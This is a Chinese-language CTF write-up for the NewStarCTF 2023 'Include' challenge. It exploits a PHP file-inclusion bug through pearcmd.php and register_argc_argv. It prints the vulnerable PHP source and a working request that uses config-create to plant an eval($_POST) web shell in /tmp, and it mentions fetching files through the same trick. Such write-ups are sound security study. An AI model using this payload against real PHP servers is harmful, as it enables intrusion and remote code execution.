【pearcmd】通过pearcmd.php 进行GetShell

https://cloud.tencent.com/developer/article/2204400

关于PHP 配置 register_argc_argv 小结 的一些研究文章。

应用例题

[NewStarCTF 2023 公开赛道]Include 🍐

复制代码
<?php
    error_reporting(0);
    if(isset($_GET['file'])) {
        $file = $_GET['file'];
        
        if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
            die('hacker!');
        }
        
        include($file.".php");
        # Something in phpinfo.php!
    }
    else {
        highlight_file(__FILE__);
    }
?>

查看phpinfo.php 尝试搜索flag ,让查看register_argc_argv

通过搜索,发现是关于pearcmd.php的信息。

https://cloud.tencent.com/developer/article/2204400 关于PHP 配置 register_argc_argv 小结 的一些研究文章。

通过查看帮助,php pearcmd.php可以查看该文件的一些使用参数。

可以通过config-create 创建一个木马文件,也可以通过从服务器上下载文件的方式利用。

复制代码
# 创建文件,注意最好通过burp抓包,因为< > 会被url编码,导致木马失效
?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[a])?>+/tmp/a.php

成功利用木马

下载文件。这里我就尝试从它自身下载phpinfo。

如图所示,从靶机下载phpinfo,并在响应中返回了保存路径

成功访问下载的phpinfo.php文件

相关推荐
biter down5 小时前
14:pytest-order 插件 顺序控制案例
开发语言·python·pytest
郝学胜-神的一滴5 小时前
Qt 高级开发 009: C++ Lambda 表达式
开发语言·c++·qt·软件构建
星栈独行5 小时前
我在 Rust 全栈项目里用 JWT 做无状态认证
开发语言·后端·rust·前端框架·开源·github·web
Lei活在当下5 小时前
先用起来,再理解,关于协程Coroutine应该知道的事
android·java·jvm
石山代码5 小时前
C++ 轻量级日志系统
开发语言·c++
kernelcraft6 小时前
cuongpmyoutube-dl-android:多平台视频下载的Android客户端
android·其他
小技与小术6 小时前
玩转Flask
开发语言·python·flask
SilentSamsara6 小时前
Python 性能优化:tracemalloc、profiling 与 C 扩展加速
开发语言·python·青少年编程·性能优化
冰小忆6 小时前
大驼峰命名规范和小驼峰命名规范的区别是什么?
开发语言·python
佚泽6 小时前
Android Studio 如何配置gradle
android·ide·android studio